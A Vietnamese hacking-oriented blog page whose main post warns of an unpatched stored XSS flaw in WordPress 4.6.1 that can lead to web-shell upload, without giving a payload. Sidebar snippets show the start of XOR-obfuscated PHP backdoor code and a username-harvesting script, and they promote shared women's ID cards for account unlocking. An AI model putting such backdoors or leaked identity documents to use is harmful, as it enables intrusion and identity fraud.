• About
  • Policy
  • Contact

Phan Anh Buổi Sáng

  • Home
  • Kiến thức IT
    • PSD
    • Blogger
  • Translate
Google
Custom Search
Trang chủ » 0-day » Security » WordPress » XSS » Cảnh báo về lỗ hổng bảo mật XSS chưa được vá trong WordPress

Cảnh báo về lỗ hổng bảo mật XSS chưa được vá trong WordPress

Unknown Labels: 0-day, Security, WordPress, XSS Leave A Comment 17:40
Theo nguồn tin cảnh báo từ group HVA thì WordPress đang dính lỗ hổng bảo mật Stored XSS cực kỳ nghiêm trọng tại phần bình luận và bài viết (cụ thể là ở tiêu đề của bài viết). Tớ đã xác nhận lại bằng cách kiểm thử với phiên bản WordPress 4.6.1 trên Localhost.

wordpress-security-xss-vulnerability
Lỗ hổng ảnh hưởng tới các phiên bản từ 4.6.1 trở xuống (tức là bao gồm cả phiên bản mới nhất). Hiện tại phía WordPress chưa có bản cập nhật nào.

Với hai lỗ hổng XSS này, hacker hoàn toàn có thể tải web-shell lên trang web của bạn. Xem video demo trong bài viết này để hình dung được mức độ nguy hiểm.
Read More

Bài viết liên quan

← Bài đăng mới hơn Bài đăng cũ hơn → Trang chủ
Powered by Blogger.

Các Bình Luận Gần Đây

Bài đăng phổ biến

  • [PHP] Get list username - vBulletin
    <?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...
  • Share CMND Nữ Cho Anh Em Để Unlock & Report
    COPYRIGHT : MINH HAKU IT                                               
  • Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Đôi lúc em tránh ánh mắt của anh. vì dường như lúc nào em cũng hiểu thấu lòng anh Demo Cover Download PSD loading...
  • [PSD] Hacker - Đặng Khắc ĐứcPSD
    Demo Click here Download Click here
  • PSD - Người & Ta
    DOWNLOAD PSD
  • PHP sourcecode analyzer rfi sql and rce lfi
    Hi guys this is me again badmotherfucker this is a source code analyzer the about tells you what its does do. Code: <!-- ****************...
  • Damane PenTester
    Hi All, Damane PenTester A Little Tool Help You To Find Admin Panel And Zip files and shells in sitewebs Just Put The Traget And Choose One ...
  • Non-alphanumeric PHP Simple Backdoor
    Code: <? $_="{"; #XOR char $_=($_^"<").($_^">").($_^"/"); #XOR = GET ?> <?=${'_...
  • Share Bộ Ảnh Bìa Ghost Chất - By: Trần Thanh Bình
    Bộ Ảnh Bìa Ghost Chất - Coppy Nhớ Ghi Nguồn Nhé 
  • [PSD] Share Ảnh Bìa Nụ Cười Tỏa Nắng - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here Theo Dõi Mình Để Xem Thêm Những Ảnh Đẹp Mới Nhất Nhé... Link Facebook :  https://www.faceboo...

Pageviews from the past week

Chuyên mục

Bài đăng phổ biến

  • [PHP] Get list username - vBulletin
    <?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...
  • Share CMND Nữ Cho Anh Em Để Unlock & Report
    Share CMND Nữ Cho Anh Em Để Unlock & Report
    COPYRIGHT : MINH HAKU IT                                               
  • Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Đôi lúc em tránh ánh mắt của anh. vì dường như lúc nào em cũng hiểu thấu lòng anh Demo Cover Download PSD loading...
  • [PSD] Hacker - Đặng Khắc ĐứcPSD
    [PSD] Hacker - Đặng Khắc ĐứcPSD
    Demo Click here Download Click here
  • PSD - Người & Ta
    PSD - Người & Ta
    DOWNLOAD PSD
  • PHP sourcecode analyzer rfi sql and rce lfi
    Hi guys this is me again badmotherfucker this is a source code analyzer the about tells you what its does do. Code: <!-- ****************...
  • Damane PenTester
    Hi All, Damane PenTester A Little Tool Help You To Find Admin Panel And Zip files and shells in sitewebs Just Put The Traget And Choose One ...
  • Non-alphanumeric PHP Simple Backdoor
    Code: <? $_="{"; #XOR char $_=($_^"<").($_^">").($_^"/"); #XOR = GET ?> <?=${'_...
  • Share Bộ Ảnh Bìa Ghost Chất - By: Trần Thanh Bình
    Share Bộ Ảnh Bìa Ghost Chất - By: Trần Thanh Bình
    Bộ Ảnh Bìa Ghost Chất - Coppy Nhớ Ghi Nguồn Nhé 
  • [PSD] Share Ảnh Bìa Nụ Cười Tỏa Nắng - Zoy Thủ Thuật #Zoy
    [PSD] Share Ảnh Bìa Nụ Cười Tỏa Nắng - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here Theo Dõi Mình Để Xem Thêm Những Ảnh Đẹp Mới Nhất Nhé... Link Facebook :  https://www.faceboo...
Google
Custom Search
Support: Facebook | Twitter | Google+ | Giới thiệu
Copyright © 2015 • Phan Anh Buổi Sáng • All Right Reserved. Template by Template Việt